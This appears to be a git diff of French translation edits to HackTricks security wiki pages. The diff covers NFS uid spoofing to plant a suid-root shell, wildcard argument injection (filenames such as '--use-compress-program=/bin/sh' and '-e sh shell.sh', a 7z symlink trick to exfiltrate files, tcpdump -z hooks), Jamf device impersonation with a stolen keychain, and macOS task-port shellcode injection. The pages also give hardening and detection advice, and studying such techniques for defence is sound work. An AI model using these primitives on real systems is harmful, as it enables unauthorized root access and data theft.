Le scénario implique l'exploitation d'un partage NFS monté sur une machine locale, tirant parti d'un défaut dans la spécification NFSv3 qui permet au client de spécifier son uid/gid, ce qui peut potentiellement permettre un accès non autorisé. L'exploitation implique l'utilisation de [libnfs](https://github.com/sahlberg/libnfs), une bibliothèque qui permet de forger des appels RPC NFS.
|
||||
|
||||
#### Compiling the Library
|
||||
|
||||
@ -77,7 +77,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
||||
```
|
||||
#### Réalisation de l'Exploit
|
||||
|
||||
L'exploit consiste à créer un simple programme C (`pwn.c`) qui élève les privilèges à root et exécute ensuite un shell. Le programme est compilé, et le binaire résultant (`a.out`) est placé sur le partage avec suid root, en utilisant `ld_nfs.so` pour simuler l'uid dans les appels RPC :
|
||||
L'exploit consiste à créer un simple programme C (`pwn.c`) qui élève les privilèges à root et exécute ensuite un shell. Le programme est compilé, et le binaire résultant (`a.out`) est placé sur le partage avec suid root, en utilisant `ld_nfs.so` pour falsifier l'uid dans les appels RPC :
|
||||
|
||||
1. **Compiler le code de l'exploit :**
|
||||
```bash
|
||||
@ -118,7 +118,7 @@ uid = get_file_uid(filepath)
|
||||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
Exécuter comme :
|
||||
Exécutez comme :
|
||||
```bash
|
||||
# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
|
@ -37,6 +37,6 @@ mkdir rootfs
|
||||
runc run demo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Cela ne fonctionnera pas toujours car l'opération par défaut de runc est de s'exécuter en tant que root, donc l'exécuter en tant qu'utilisateur non privilégié ne peut tout simplement pas fonctionner (à moins que vous n'ayez une configuration sans root). Faire d'une configuration sans root la valeur par défaut n'est généralement pas une bonne idée car il y a pas mal de restrictions à l'intérieur des conteneurs sans root qui ne s'appliquent pas en dehors des conteneurs sans root.
|
||||
> Cela ne fonctionnera pas toujours car l'opération par défaut de runc est de s'exécuter en tant que root, donc l'exécuter en tant qu'utilisateur non privilégié ne peut tout simplement pas fonctionner (à moins que vous n'ayez une configuration sans root). Faire de la configuration sans root la valeur par défaut n'est généralement pas une bonne idée car il y a pas mal de restrictions à l'intérieur des conteneurs sans root qui ne s'appliquent pas en dehors des conteneurs sans root.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> L'injection d'**argument** par **wildcard** (aussi appelée *glob*) se produit lorsqu'un script privilégié exécute un binaire Unix tel que `tar`, `chown`, `rsync`, `zip`, `7z`, … avec un wildcard non cité comme `*`.
|
||||
> Étant donné que le shell développe le wildcard **avant** d'exécuter le binaire, un attaquant capable de créer des fichiers dans le répertoire de travail peut concevoir des noms de fichiers qui commencent par `-` afin qu'ils soient interprétés comme des **options au lieu de données**, permettant ainsi de faire passer des drapeaux arbitraires ou même des commandes.
|
||||
> Cette page regroupe les primitives les plus utiles, les recherches récentes et les détections modernes pour 2023-2025.
|
||||
> L'injection d'**argument de wildcard** (aussi appelée *glob*) se produit lorsqu'un script privilégié exécute un binaire Unix tel que `tar`, `chown`, `rsync`, `zip`, `7z`, … avec un wildcard non cité comme `*`.
|
||||
> Étant donné que le shell développe le wildcard **avant** d'exécuter le binaire, un attaquant qui peut créer des fichiers dans le répertoire de travail peut concevoir des noms de fichiers qui commencent par `-` afin qu'ils soient interprétés comme **options au lieu de données**, permettant ainsi de faire passer des drapeaux arbitraires ou même des commandes.
|
||||
> Cette page recueille les primitives les plus utiles, les recherches récentes et les détections modernes pour 2023-2025.
|
||||
|
||||
## chown / chmod
|
||||
|
||||
@ -20,7 +20,7 @@ chmod -R 644 *.php
|
||||
```
|
||||
`--reference=/root/secret``file` est injecté, ce qui fait que *tous* les fichiers correspondants héritent de la propriété/des permissions de `/root/secret``file`.
|
||||
|
||||
*PoC & outil* : [`wildpwn`](https://github.com/localh0t/wildpwn) (attaque combinée).
|
||||
*PoC & outil* : [`wildpwn`](https://github.com/localh0t/wildpwn) (attaque combinée).
|
||||
Voir aussi le document classique de DefenseCode pour plus de détails.
|
||||
|
||||
---
|
||||
@ -41,7 +41,7 @@ Une fois que root exécute par exemple `tar -czf /root/backup.tgz *`, `shell.sh`
|
||||
|
||||
### bsdtar / macOS 14+
|
||||
|
||||
Le `tar` par défaut sur les versions récentes de macOS (basé sur `libarchive`) ne met *pas* en œuvre `--checkpoint`, mais vous pouvez toujours obtenir une exécution de code avec le drapeau **--use-compress-program** qui vous permet de spécifier un compresseur externe.
|
||||
Le `tar` par défaut sur les versions récentes de macOS (basé sur `libarchive`) *n'implémente pas* `--checkpoint`, mais vous pouvez toujours obtenir une exécution de code avec le drapeau **--use-compress-program** qui vous permet de spécifier un compresseur externe.
|
||||
```bash
|
||||
# macOS example
|
||||
touch "--use-compress-program=/bin/sh"
|
||||
@ -57,7 +57,7 @@ Lorsque un script privilégié exécute `tar -cf backup.tar *`, `/bin/sh` sera l
|
||||
# attacker-controlled directory
|
||||
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
|
||||
```
|
||||
Si root archive plus tard le répertoire avec `rsync -az * backup:/srv/`, le drapeau injecté lance votre shell du côté distant.
|
||||
Si root archive ensuite le répertoire avec `rsync -az * backup:/srv/`, le drapeau injecté lance votre shell du côté distant.
|
||||
|
||||
*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode).
|
||||
|
||||
@ -65,7 +65,7 @@ Si root archive plus tard le répertoire avec `rsync -az * backup:/srv/`, le dra
|
||||
|
||||
## 7-Zip / 7z / 7za
|
||||
|
||||
Même lorsque le script privilégié *défensivement* préfixe le caractère générique avec `--` (pour arrêter l'analyse des options), le format 7-Zip prend en charge **les fichiers de liste de fichiers** en préfixant le nom de fichier avec `@`. Combiner cela avec un lien symbolique vous permet d'*exfiltrer des fichiers arbitraires*:
|
||||
Même lorsque le script privilégié *défensivement* préfixe le caractère générique avec `--` (pour arrêter l'analyse des options), le format 7-Zip prend en charge **les fichiers de liste de fichiers** en préfixant le nom de fichier avec `@`. Combiner cela avec un lien symbolique vous permet d'*exfiltrer des fichiers arbitraires* :
|
||||
```bash
|
||||
# directory writable by low-priv user
|
||||
cd /path/controlled
|
||||
@ -107,7 +107,7 @@ Ces primitives sont moins courantes que les classiques *tar/rsync/zip* mais vale
|
||||
|
||||
## Hooks de rotation tcpdump (-G/-W/-z) : RCE via injection argv dans les wrappers
|
||||
|
||||
Lorsqu'un shell restreint ou un wrapper de fournisseur construit une ligne de commande `tcpdump` en concaténant des champs contrôlés par l'utilisateur (par exemple, un paramètre "nom de fichier") sans citation/validation stricte, vous pouvez introduire des drapeaux supplémentaires `tcpdump`. La combinaison de `-G` (rotation basée sur le temps), `-W` (limiter le nombre de fichiers) et `-z <cmd>` (commande post-rotation) permet l'exécution de commandes arbitraires en tant qu'utilisateur exécutant tcpdump (souvent root sur les appareils).
|
||||
Lorsqu'un shell restreint ou un wrapper de fournisseur construit une ligne de commande `tcpdump` en concaténant des champs contrôlés par l'utilisateur (par exemple, un paramètre "nom de fichier") sans citation/validation stricte, vous pouvez introduire des drapeaux `tcpdump` supplémentaires. La combinaison de `-G` (rotation basée sur le temps), `-W` (limiter le nombre de fichiers) et `-z <cmd>` (commande post-rotation) permet l'exécution de commandes arbitraires en tant qu'utilisateur exécutant tcpdump (souvent root sur les appareils).
|
||||
|
||||
Conditions préalables :
|
||||
|
||||
@ -139,7 +139,7 @@ Détails :
|
||||
|
||||
Variantes sans média amovible :
|
||||
|
||||
- Si vous avez un autre moyen d'écrire des fichiers (par exemple, un wrapper de commande séparé qui permet la redirection de sortie), déposez votre script dans un chemin connu et déclenchez `-z /bin/sh /path/script.sh` ou `-z /path/script.sh` selon la sémantique de la plateforme.
|
||||
- Si vous avez un autre moyen d'écrire des fichiers (par exemple, un wrapper de commande séparé qui permet la redirection de sortie), placez votre script dans un chemin connu et déclenchez `-z /bin/sh /path/script.sh` ou `-z /path/script.sh` selon la sémantique de la plateforme.
|
||||
- Certains wrappers de fournisseurs tournent vers des emplacements contrôlables par l'attaquant. Si vous pouvez influencer le chemin tourné (symlink/traversée de répertoire), vous pouvez orienter `-z` pour exécuter du contenu que vous contrôlez entièrement sans média externe.
|
||||
|
||||
Conseils de durcissement pour les fournisseurs :
|
||||
@ -152,7 +152,7 @@ Conseils de durcissement pour les fournisseurs :
|
||||
|
||||
1. **Désactivez le globbing de shell** dans les scripts critiques : `set -f` (`set -o noglob`) empêche l'expansion des jokers.
|
||||
2. **Citez ou échappez** les arguments : `tar -czf "$dst" -- *` n'est *pas* sûr — préférez `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
|
||||
3. **Chemins explicites** : Utilisez `/var/www/html/*.log` au lieu de `*` afin que les attaquants ne puissent pas créer de fichiers frères qui commencent par `-`.
|
||||
3. **Chemins explicites** : Utilisez `/var/www/html/*.log` au lieu de `*` afin que les attaquants ne puissent pas créer de fichiers frères commençant par `-`.
|
||||
4. **Moins de privilèges** : Exécutez des tâches de sauvegarde/maintenance en tant que compte de service non privilégié au lieu de root chaque fois que possible.
|
||||
5. **Surveillance** : La règle préconstruite d'Elastic *Potential Shell via Wildcard Injection* recherche `tar --checkpoint=*`, `rsync -e*`, ou `zip --unzip-command` immédiatement suivi d'un processus enfant shell. La requête EQL peut être adaptée pour d'autres EDR.
|
||||
|
||||
@ -160,7 +160,7 @@ Conseils de durcissement pour les fournisseurs :
|
||||
|
||||
## Références
|
||||
|
||||
* Elastic Security – Règle détectée *Potential Shell via Wildcard Injection* (dernière mise à jour en 2025)
|
||||
* Elastic Security – Règle détectée *Potential Shell via Wildcard Injection* (dernière mise à jour 2025)
|
||||
* Rutger Flohil – “macOS — Tar wildcard injection” (18 déc. 2024)
|
||||
* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
|
||||
* FiberGateway GR241AG – [Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
|
||||
|
@ -80,7 +80,7 @@ Pour **usurper la communication** entre un appareil et JMF, vous avez besoin de
|
||||
- Le **UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
- Le **trousseau JAMF** de : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil
|
||||
|
||||
Avec ces informations, **créez une VM** avec le **UUID** matériel **volé** et avec **SIP désactivé**, déposez le **trousseau JAMF,** **interceptez** l'agent Jamf et volez ses informations.
|
||||
Avec ces informations, **créez une VM** avec le **UUID** matériel **volé** et avec **SIP désactivé**, déposez le **trousseau JAMF,** **interceptez** l'**agent** Jamf et volez ses informations.
|
||||
|
||||
#### Vol de secrets
|
||||
|
||||
@ -169,7 +169,7 @@ dsconfigad -show
|
||||
```
|
||||
Plus d'infos sur [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
### Mot de passe de l'ordinateur$
|
||||
### Mot de passe Computer$
|
||||
|
||||
Obtenez des mots de passe en utilisant :
|
||||
```bash
|
||||
|
File diff suppressed because one or more lines are too long
@ -33,7 +33,7 @@ De plus, **Mach et BSD maintiennent chacun des modèles de sécurité différent
|
||||
|
||||
### I/O Kit - Drivers
|
||||
|
||||
L'I/O Kit est un framework **de pilote de périphérique** open-source et orienté objet dans le noyau XNU, gérant **les pilotes de périphérique chargés dynamiquement**. Il permet d'ajouter du code modulaire au noyau à la volée, prenant en charge un matériel divers.
|
||||
L'I/O Kit est un framework de **pilotes de périphériques** orienté objet open-source dans le noyau XNU, gérant des **pilotes de périphériques chargés dynamiquement**. Il permet d'ajouter du code modulaire au noyau à la volée, prenant en charge un matériel diversifié.
|
||||
|
||||
{{#ref}}
|
||||
macos-iokit.md
|
||||
@ -47,7 +47,7 @@ macos-iokit.md
|
||||
|
||||
## macOS Kernel Extensions
|
||||
|
||||
macOS est **très restrictif pour charger les extensions de noyau** (.kext) en raison des privilèges élevés avec lesquels le code s'exécutera. En fait, par défaut, il est pratiquement impossible (à moins qu'un contournement ne soit trouvé).
|
||||
macOS est **très restrictif pour charger des extensions de noyau** (.kext) en raison des privilèges élevés avec lesquels le code s'exécutera. En fait, par défaut, il est pratiquement impossible (à moins qu'un contournement ne soit trouvé).
|
||||
|
||||
Sur la page suivante, vous pouvez également voir comment récupérer le `.kext` que macOS charge dans son **kernelcache** :
|
||||
|
||||
|
@ -23,8 +23,8 @@ Les droits de port, qui définissent quelles opérations une tâche peut effectu
|
||||
- **Droit d'envoi**, qui permet d'envoyer des messages au port.
|
||||
- Le droit d'envoi peut être **cloné**, de sorte qu'une tâche possédant un droit d'envoi peut cloner le droit et **l'accorder à une troisième tâche**.
|
||||
- **Droit d'envoi unique**, qui permet d'envoyer un message au port et disparaît ensuite.
|
||||
- **Droit de jeu de ports**, qui désigne un _jeu de ports_ plutôt qu'un port unique. Déqueuer un message d'un jeu de ports déqueuer un message de l'un des ports qu'il contient. Les jeux de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
|
||||
- **Nom mort**, qui n'est pas un véritable droit de port, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port se transforment en noms morts.
|
||||
- **Droit de jeu de ports**, qui désigne un _jeu de ports_ plutôt qu'un port unique. Déqueuer un message d'un jeu de ports déqueu un message de l'un des ports qu'il contient. Les jeux de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
|
||||
- **Nom mort**, qui n'est pas un véritable droit de port, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants pour le port se transforment en noms morts.
|
||||
|
||||
**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche puisse dupliquer et donner le droit à une troisième tâche**. Cela, combiné avec un processus intermédiaire connu sous le nom de **serveur de démarrage**, permet une communication efficace entre les tâches.
|
||||
|
||||
@ -57,7 +57,7 @@ Pour ces services prédéfinis, le **processus de recherche diffère légèremen
|
||||
- launchd duplique le **droit d'envoi et l'envoie à la tâche B**.
|
||||
- La tâche **B** génère un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** (le svc) afin qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).
|
||||
|
||||
Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non-système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'usurpation.
|
||||
Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'usurpation.
|
||||
|
||||
### A Mach Message
|
||||
|
||||
@ -89,7 +89,7 @@ Les autres champs de l'en-tête de message sont :
|
||||
- `msgh_id` : l'ID de ce message, qui est interprété par le destinataire.
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que **les messages mach sont envoyés sur un \_port mach**\_, qui est un canal de communication **un seul récepteur**, **plusieurs expéditeurs** intégré dans le noyau mach. **Plusieurs processus** peuvent **envoyer des messages** à un port mach, mais à tout moment, **un seul processus peut lire** à partir de celui-ci.
|
||||
> Notez que **les messages mach sont envoyés sur un \_port mach**\_, qui est un canal de communication **à un seul récepteur**, **plusieurs expéditeurs** intégré dans le noyau mach. **Plusieurs processus** peuvent **envoyer des messages** à un port mach, mais à tout moment, **un seul processus peut lire** à partir de celui-ci.
|
||||
|
||||
### Énumérer les ports
|
||||
```bash
|
||||
@ -99,7 +99,7 @@ Vous pouvez installer cet outil sur iOS en le téléchargeant depuis [http://new
|
||||
|
||||
### Exemple de code
|
||||
|
||||
Notez comment le **sender** **alloue** un port, crée un **send right** pour le nom `org.darlinghq.example` et l'envoie au **bootstrap server** pendant que le sender demande le **send right** de ce nom et l'utilise pour **envoyer un message**.
|
||||
Notez comment le **sender** **alloue** un port, crée un **send right** pour le nom `org.darlinghq.example` et l'envoie au **bootstrap server** pendant que le sender a demandé le **send right** de ce nom et l'a utilisé pour **envoyer un message**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
@ -232,11 +232,11 @@ printf("Sent a message\n");
|
||||
- De plus, pour appeler l'API **`kext_request`**, il est nécessaire d'avoir d'autres droits **`com.apple.private.kext*`** qui ne sont accordés qu'aux binaires Apple.
|
||||
- **Port de nom de tâche** : Une version non privilégiée du _port de tâche_. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers lui est `task_info()`.
|
||||
- **Port de tâche** (également connu sous le nom de port de noyau) : Avec la permission Send sur ce port, il est possible de contrôler la tâche (lire/écrire en mémoire, créer des threads...).
|
||||
- Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port est uniquement **hérité** à travers **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) tout en effectuant un `fork()`.
|
||||
- Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port est uniquement **hérité** lors de **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) tout en effectuant un `fork()`.
|
||||
- Voici les restrictions pour accéder au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`) :
|
||||
- Si l'application a le droit **`com.apple.security.get-task-allow`**, les processus du **même utilisateur peuvent accéder au port de tâche** (généralement ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
|
||||
- Les applications avec le droit **`com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions antérieures, il était appelé **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
|
||||
- **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime durci** (et pas d'Apple).
|
||||
- **Root peut accéder aux ports de tâche** des applications **non** compilées avec un runtime **durci** (et pas d'Apple).
|
||||
|
||||
### Injection de shellcode dans le thread via le port de tâche
|
||||
|
||||
@ -503,7 +503,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
|
||||
Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'**api posix `pthread`**. Le thread que nous avons généré dans l'injection précédente a été créé en utilisant l'api Mach, donc **il n'est pas conforme à posix**.
|
||||
|
||||
Il était possible d'**injecter un simple shellcode** pour exécuter une commande parce qu'il **n'avait pas besoin de fonctionner avec des apis** conformes à posix, seulement avec Mach. Des **injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
|
||||
Il a été possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis** conformes à posix, seulement avec Mach. Des **injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
|
||||
|
||||
Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger une dylib** depuis le système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.
|
||||
|
||||
|
@ -123,7 +123,7 @@ Lorsqu'une fonction est appelée dans un binaire qui utilise Objective-C, le cod
|
||||
Les paramètres que cette fonction attend sont :
|
||||
|
||||
- Le premier paramètre (**self**) est "un pointeur qui pointe vers l'**instance de la classe qui doit recevoir le message**". En d'autres termes, c'est l'objet sur lequel la méthode est invoquée. Si la méthode est une méthode de classe, cela sera une instance de l'objet de classe (dans son ensemble), tandis que pour une méthode d'instance, self pointera vers une instance instanciée de la classe en tant qu'objet.
|
||||
- Le deuxième paramètre, (**op**), est "le sélecteur de la méthode qui gère le message". Encore une fois, en termes plus simples, c'est juste le **nom de la méthode.**
|
||||
- Le deuxième paramètre, (**op**), est "le sélecteur de la méthode qui gère le message". Encore une fois, en d'autres termes, c'est juste le **nom de la méthode.**
|
||||
- Les paramètres restants sont toutes les **valeurs requises par la méthode** (op).
|
||||
|
||||
Voir comment **obtenir ces informations facilement avec `lldb` en ARM64** sur cette page :
|
||||
@ -168,7 +168,7 @@ Il est ancien et non maintenu, donc il ne fonctionnera probablement pas correcte
|
||||
|
||||
#### ICDump
|
||||
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) est un dump de classe Objective-C moderne et multiplateforme. Comparé aux outils existants, iCDump peut fonctionner indépendamment de l'écosystème Apple et expose des liaisons Python.
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) est un dump de classe Objective-C moderne et multiplateforme. Par rapport aux outils existants, iCDump peut fonctionner indépendamment de l'écosystème Apple et expose des liaisons Python.
|
||||
```python
|
||||
import icdump
|
||||
metadata = icdump.objc.parse("/path/to/bin")
|
||||
@ -179,7 +179,7 @@ print(metadata.to_decl())
|
||||
|
||||
Avec les binaires Swift, étant donné qu'il y a une compatibilité avec Objective-C, il est parfois possible d'extraire des déclarations en utilisant [class-dump](https://github.com/nygard/class-dump/) mais ce n'est pas toujours le cas.
|
||||
|
||||
Avec les lignes de commande **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
|
||||
Avec les commandes **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
|
||||
```bash
|
||||
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
|
||||
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
|
||||
@ -201,13 +201,13 @@ https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
# Swift cli
|
||||
swift demangle
|
||||
```
|
||||
## Analyse dynamique
|
||||
## Analyse Dynamique
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que pour déboguer des binaires, **SIP doit être désactivé** (`csrutil disable` ou `csrutil enable --without debug`) ou il faut copier les binaires dans un dossier temporaire et **supprimer la signature** avec `codesign --remove-signature <binary-path>` ou permettre le débogage du binaire (vous pouvez utiliser [ce script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
> Notez qu'afin de déboguer des binaires, **SIP doit être désactivé** (`csrutil disable` ou `csrutil enable --without debug`) ou de copier les binaires dans un dossier temporaire et **de supprimer la signature** avec `codesign --remove-signature <binary-path>` ou permettre le débogage du binaire (vous pouvez utiliser [ce script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que pour **instrumenter les binaires système**, (comme `cloudconfigurationd`) sur macOS, **SIP doit être désactivé** (il ne suffit pas de supprimer la signature).
|
||||
> Notez qu'afin de **instrumenter les binaires système**, (comme `cloudconfigurationd`) sur macOS, **SIP doit être désactivé** (il ne suffit pas de supprimer la signature).
|
||||
|
||||
### APIs
|
||||
|
||||
@ -232,7 +232,7 @@ Son plist est situé dans `/System/Library/LaunchDaemons/com.apple.sysdiagnose.p
|
||||
- `com.apple.sysdiagnose.kernel.ipc` : Port spécial 23 (noyau)
|
||||
- `com.apple.sysdiagnose.service.xpc` : Interface en mode utilisateur via la classe Obj-C `Libsysdiagnose`. Trois arguments dans un dict peuvent être passés (`compress`, `display`, `run`)
|
||||
|
||||
### Journaux unifiés
|
||||
### Journaux Unifiés
|
||||
|
||||
MacOS génère beaucoup de journaux qui peuvent être très utiles lors de l'exécution d'une application essayant de comprendre **ce qu'elle fait**.
|
||||
|
||||
@ -240,13 +240,13 @@ De plus, il y a certains journaux qui contiendront le tag `<private>` pour **cac
|
||||
|
||||
### Hopper
|
||||
|
||||
#### Panneau gauche
|
||||
#### Panneau de gauche
|
||||
|
||||
Dans le panneau gauche de Hopper, il est possible de voir les symboles (**Labels**) du binaire, la liste des procédures et fonctions (**Proc**) et les chaînes (**Str**). Ce ne sont pas toutes les chaînes, mais celles définies dans plusieurs parties du fichier Mac-O (comme _cstring ou_ `objc_methname`).
|
||||
Dans le panneau de gauche de Hopper, il est possible de voir les symboles (**Labels**) du binaire, la liste des procédures et fonctions (**Proc**) et les chaînes (**Str**). Ce ne sont pas toutes les chaînes mais celles définies dans plusieurs parties du fichier Mac-O (comme _cstring ou_ `objc_methname`).
|
||||
|
||||
#### Panneau central
|
||||
#### Panneau du milieu
|
||||
|
||||
Dans le panneau central, vous pouvez voir le **code désassemblé**. Et vous pouvez le voir en **désassemblage brut**, en **graphique**, en **décompilé** et en **binaire** en cliquant sur l'icône respective :
|
||||
Dans le panneau du milieu, vous pouvez voir le **code désassemblé**. Et vous pouvez le voir en **désassemblage brut**, en **graphique**, en **décompilé** et en **binaire** en cliquant sur l'icône respective :
|
||||
|
||||
<figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -256,9 +256,9 @@ En cliquant avec le bouton droit sur un objet de code, vous pouvez voir **les r
|
||||
|
||||
De plus, dans le **bas du milieu, vous pouvez écrire des commandes python**.
|
||||
|
||||
#### Panneau droit
|
||||
#### Panneau de droite
|
||||
|
||||
Dans le panneau droit, vous pouvez voir des informations intéressantes telles que l'**historique de navigation** (pour savoir comment vous êtes arrivé à la situation actuelle), le **graph d'appels** où vous pouvez voir toutes les **fonctions qui appellent cette fonction** et toutes les fonctions que **cette fonction appelle**, ainsi que des informations sur les **variables locales**.
|
||||
Dans le panneau de droite, vous pouvez voir des informations intéressantes telles que l'**historique de navigation** (pour savoir comment vous êtes arrivé à la situation actuelle), le **graphe d'appels** où vous pouvez voir toutes les **fonctions qui appellent cette fonction** et toutes les fonctions que **cette fonction appelle**, et des informations sur les **variables locales**.
|
||||
|
||||
### dtrace
|
||||
|
||||
@ -285,11 +285,13 @@ Le nom de la sonde se compose de quatre parties : le fournisseur, le module, la
|
||||
|
||||
Pour configurer DTrace afin d'activer les sondes et de spécifier quelles actions effectuer lorsqu'elles se déclenchent, nous devrons utiliser le langage D.
|
||||
|
||||
Une explication plus détaillée et d'autres exemples peuvent être trouvés dans [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
||||
Une explication plus détaillée et plus d'exemples peuvent être trouvés dans [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
||||
|
||||
#### Exemples
|
||||
|
||||
Exécutez `man -k dtrace` pour lister les **scripts DTrace disponibles**. Exemple : `sudo dtruss -n binary`
|
||||
|
||||
- Dans la ligne
|
||||
```bash
|
||||
#Count the number of syscalls of each running process
|
||||
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
|
||||
@ -343,7 +345,7 @@ C'est une installation de traçage du noyau. Les codes documentés peuvent être
|
||||
|
||||
Des outils comme `latency`, `sc_usage`, `fs_usage` et `trace` l'utilisent en interne.
|
||||
|
||||
Pour interagir avec `kdebug`, `sysctl` est utilisé sur l'espace de noms `kern.kdebug` et les MIBs à utiliser peuvent être trouvés dans `sys/sysctl.h`, les fonctions étant implémentées dans `bsd/kern/kdebug.c`.
|
||||
Pour interagir avec `kdebug`, `sysctl` est utilisé sur l'espace de noms `kern.kdebug` et les MIBs à utiliser peuvent être trouvés dans `sys/sysctl.h`, ayant les fonctions implémentées dans `bsd/kern/kdebug.c`.
|
||||
|
||||
Pour interagir avec kdebug avec un client personnalisé, voici généralement les étapes :
|
||||
|
||||
@ -361,7 +363,7 @@ Pour obtenir ces informations, il est possible d'utiliser l'outil Apple **`trace
|
||||
|
||||
### ktrace
|
||||
|
||||
Les API `ktrace_*` proviennent de `libktrace.dylib` qui enveloppent celles de `Kdebug`. Ensuite, un client peut simplement appeler `ktrace_session_create` et `ktrace_events_[single/class]` pour définir des rappels sur des codes spécifiques, puis commencer avec `ktrace_start`.
|
||||
Les API `ktrace_*` proviennent de `libktrace.dylib` qui enveloppent celles de `Kdebug`. Ensuite, un client peut simplement appeler `ktrace_session_create` et `ktrace_events_[single/class]` pour définir des rappels sur des codes spécifiques et ensuite commencer avec `ktrace_start`.
|
||||
|
||||
Vous pouvez utiliser celui-ci même avec **SIP activé**
|
||||
|
||||
@ -369,7 +371,7 @@ Vous pouvez utiliser comme clients l'utilitaire `ktrace` :
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
Ou `tailspin`.
|
||||
Or `tailspin`.
|
||||
|
||||
### kperf
|
||||
|
||||
@ -379,7 +381,7 @@ Fondamentalement, la variable globale `kernel_debug_active` est vérifiée et si
|
||||
|
||||
Kperf a également une table MIB sysctl : (en tant que root) `sysctl kperf`. Ces codes peuvent être trouvés dans `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
De plus, un sous-ensemble de la fonctionnalité de Kperf réside dans `kpc`, qui fournit des informations sur les compteurs de performance de la machine.
|
||||
De plus, un sous-ensemble des fonctionnalités de Kperf réside dans `kpc`, qui fournit des informations sur les compteurs de performance de la machine.
